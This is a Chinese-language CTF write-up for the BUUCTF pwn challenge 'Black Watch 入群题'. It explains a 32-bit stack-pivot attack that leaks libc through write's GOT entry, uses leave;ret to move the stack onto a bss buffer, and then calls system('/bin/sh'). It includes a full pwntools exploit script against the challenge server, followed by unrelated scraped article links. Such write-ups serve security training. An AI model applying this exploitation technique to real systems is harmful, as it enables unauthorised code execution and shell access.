[BUUCTF]PWN——[Black Watch 入群题]PWN
[Black Watch 入群题]PWN——栈劫持
入群题密码在 /password.txt
 Ubuntu 16
 2020年02月27日:此入群题已作废,请看新版入群题。
解题步骤:
- 例行检查,32位程序,开启了nx保护 
  
- 运行一下程序,两次输入,测试时发现输入长度过长,会报错 
  

- 32位ida载入,首先shift+f12查看一下程序里的字符串,没有system函数和‘/bin/sh’的字符串,这边需要我们自己去想办法构造system(‘/bin/sh’)
  
- 从main函数开始看程序
  
- 主要部分在function函数里
  
  
- 一开始输出m1里的字符串,然后调用read函数给s写入参数,s在bss段上,而且允许我们写入0x200长度的数据,我们可以在这边写很多东西
  
- 之后输出m2里的内容
  
- 然后又是一个read函数,让我们读入0x20长度的数据给参数buf,ida给我们分析的buf参数的大小是0x18,我们可以溢出0x8字节,0x8字节,只够我们覆盖ret,没办法构造很长的rop链来攻击
- 我们之前看到的参数s,那边我们可以写入很长的数据,我们可以将我们的rop链布置在那里,由于这题需要我们自己构造system(‘/bin/sh’)
 所以我们需要先来泄露一下程序的libc版本
payload=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
r.recvuntil("What is your name?")
r.send(payload)
现在我们布置好的s是这样的

 简单描述一下s参数里的布局
 首先写入write函数的plt表地址(write函数的实际地址),去调用write函数
 接着在函数返回地址处写入main函数地址,控制程序执行流
看一下write函数原型
ssize_t write(int fd,const void*buf,size_t count);
参数说明:
  fd:是文件描述符(write所对应的是写,即就是1)
  buf:通常是一个字符串,需要写入的字符串
  count:是每次写入的字节数
最后的p32(1)+p32(write_got)+p32(4)是我们一开始写入的调用write函数的参数,目的是调用write函数去打印write的got表(write函数的地址),32位程序,一次传入4字节
这句payload会泄露程序里的write函数的地址,利用libcsearcher就能获取这个程序libc的基址,接下我们就可以构造system(‘/bin/sh’)获取shell了
- 现在我们要想办法去调用我们布置好的栈,上面分析了,溢出长度不够我们完成利用,这边用到了一个叫栈劫持的方法,关于栈劫持的原理,看这里,从156:14开始
 这篇文章也是讲栈劫持原理的
 做栈劫持主要用到的是一个leave;ret指令,一般程序执行完成后都会调用leave;ret来还原现场
  
 找一下程序里的leave;ret指令,leave_ret=0x8048408
  
payload1='a'*0x18+p32(s-4)+p32(leave_ret)

我们在给buf参数赋值的时候,溢出后将rbp覆写成s-4的地址,函数返回地址覆写成leave;ret指令的地址
理一下这样写程序的执行过程:
 首先程序正常结束了,去调用程序本身的leave;ret来还原现场,
 根据我们对栈的布局,
 mov rsp,rbp->将rsp指向了rbp,栈变成了这个样子
 
pop rbp->rbp寄存器被我们设置成了参数s-4的地址,指向了我们布置好的栈上方,这边-4是因为我们第二次执行pop rbp给rbp赋值的时候,会将rsp+4,如果不减去4,rsp就在程序一开始的时候指向的不是栈顶,而是栈顶+4的位置,我们之后读取数据会丢失一开始的4字节,所以需要一开始的时候将指针往上抬4字节,栈变成了这个样子
 
ret(pop rip)->去调用leave;ret指令
 再次执行leave;ret指令
mov rsp,rbp->rsp指向了参数s-4的位置,栈布局现在是这样
 
pop rbp->弹出栈顶的值给rbp,之后栈变成了这样,我们成功将esp指针劫持到了我们布置好的栈上
 
ret(pop rip)->将esp指向的输值弹给rip
 接下来它就会去执行我们布置好的泄露libc的步骤,我们去接收它输出的write函数地址,就知道了libc版本,接下来就能去构造system(’/bin/sh‘)了,接下来在重复一下上述的控制流程,就能拿到shell了
(叙述的时候ebp=rbp,esp=rsp,中间说明没有保持一致,在查资料的时候,写的两个寄存器的名字不同,但都是这个作用)
完整exp:
from pwn import *
from LibcSearcher import *
#p=process('./spwn')
r=remote('node3.buuoj.cn',28433)
elf=ELF('./spwn')
write_plt=elf.plt['write']
write_got=elf.got['write']
main=0x8048513
s=0x0804A300
leave_ret=0x08048408
payload=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
r.recvuntil("What is your name?")
r.send(payload)
payload1='a'*0x18+p32(s-4)+p32(leave_ret)
r.recvuntil("What do you want to say?")
r.send(payload1)
write_addr=u32(r.recv(4))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
sh=libc_base+libc.dump('str_bin_sh')
r.recvuntil("name?")
payload=p32(system)+p32(0)+p32(sh)
r.sendline(payload)
r.recvuntil("say?")
r.sendline(payload1)
r.interactive()

[BUUCTF]PWN——[Black Watch 入群题]PWN的更多相关文章
- stega -- Pcat老入群题
		stega -- Pcat老入群题 Pcat师傅的题果然给力,就是看着wp也是琢磨了半天. WP地址:http://mp.weixin.qq.com/s/T9jJLACiZNB6FR226IjmEA ... 
- 《开源博客Q群》和《NET上海Q群》入群须知
		开源博客Q群 群名:<嗨-博客> 群号:469075305(已满) 491585006(New) 群简介:“我们每个猿都有一个搭建自己独立博客的梦”. 入群要求: 您可以是HR,私聊管理员 ... 
- QQ群985135948入群密码
		QQ群985135948入群密码:键盘第三排从左往右依次按过去,就是密码 点下面这个键应该可以进群哦! 
- 搞笑入群二维码在线生成源码 php图片合成并添加文字水印
		在凤凰网看到一篇文章:微信群二维码也能“整人”,99%的好友会中招!感觉挺好玩,所以自己也想做一个! 冷静分析 
- C#反射应用-- 深圳精致抖友小群,质量的同学入群,限深圳地区(放几天我就删,管理别封我)
		C#反射的应用 Dapper轻量级ORM框架,不能根据主键ID获取实体,及不能根据主键ID删除记录,所以这里记录自己封装的一个方法来实现这个功能 /// 根据主键Id删除记录(包含根据主键获取记录) ... 
- 某Python群的入群题目
		为了确保不被通过搜索引擎直接搜索题目搜出来,我重新描述下题目: 给n, 求1~n的每个数的约数和 每个约数出现的个数是 n // i个, 出现x次的约数范围是[n // (i + 1) + 1, n ... 
- Math.abs(~2018) —— 入群问答题
		这道题的关键点在于对位操作符“~”的理解,以及内部的具体实现(设计到补码) 最后的结果是:2019 参考文章: http://www.w3school.com.cn/js/pro_js_operato ... 
- Buuctf刷题:部分
		get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ... 
- [BUUCTF-Pwn]刷题记录1
		[BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ... 
随机推荐
- 回顾Servlet开发
			1.建立的文件 2.servlet package com.shao.servlet; import javax.servlet.ServletException; import javax.serv ... 
- WebRTC从摄像头获取图片传入canvas
			WebRTC从摄像头获取图片传入canvas 前面我们已经能够利用WebRTC的功能,通过浏览器打开摄像头,并把预览的图像显示在video元素中. 接下来我们尝试从视频中截取某一帧,显示在界面上. h ... 
- vue指令v-for报错:Elements in iteration expect to have 'v-bind:key' directives.eslint-plugin-vue
			文件–>首选项–>设置–>在搜索框中输入:vetur.validation.template,取消勾选. 
- 【原创】【自制系列】自制stack类型(泛型)
			前言 自制类型的第三篇,stack类型.stack是指栈,其实我个人认为stack是最好写的类型,没有之一.关于queue类型需要涉及到循环队列避免浪费内存,但是stack的插入删除都是对于栈顶而言, ... 
- 记一次 .NET 某智能服装智造系统 内存泄漏分析
			一:背景 1. 讲故事 上个月有位朋友找到我,说他的程序出现了内存泄漏,不知道如何进一步分析,截图如下: 朋友这段话已经说的非常言简意赅了,那就上 windbg 说话吧. 二:Windbg 分析 1. ... 
- 从 [P4240 毒瘤之神的考验] 谈 OI 中的美学
			感觉这题真的特别有意思,涉及了 OI 中很多非常有意思.非常美的手法,比如--平衡两部分的时间复杂度.\(n \ln n\) 的那个 Trick等等,真的一种暴力的美学. 题目大意: 多组询问,求 \ ... 
- getdelim函数
			利用getdelim函数分割读取字段,将文件制表符替换为空格符 1 #include <stdio.h> 2 #include <stdlib.h> 3 4 int main( ... 
- mysql  计算日期为当年第几季度
			select T21620.日期 as F21634, QUARTER('98-04-01') as quarter #返回日期是一年的第几个季度 - ... 
- 关于SQL中Union和Join的用法
			转自帘卷西风的专栏(http://blog.csdn.net/ljxfblog) https://blog.csdn.net/ljxfblog/article/details/52066006 Uni ... 
- dart系列之:还在为编码解码而烦恼吗?用dart试试
			目录 简介 为JSON编码和解码 UTF-8编码和解码 总结 简介 在我们日常使用的数据格式中json应该是最为通用的一个.很多时候,我们需要把一个对象转换成为JSON的格式,也可以说需要把对象编码为 ... 
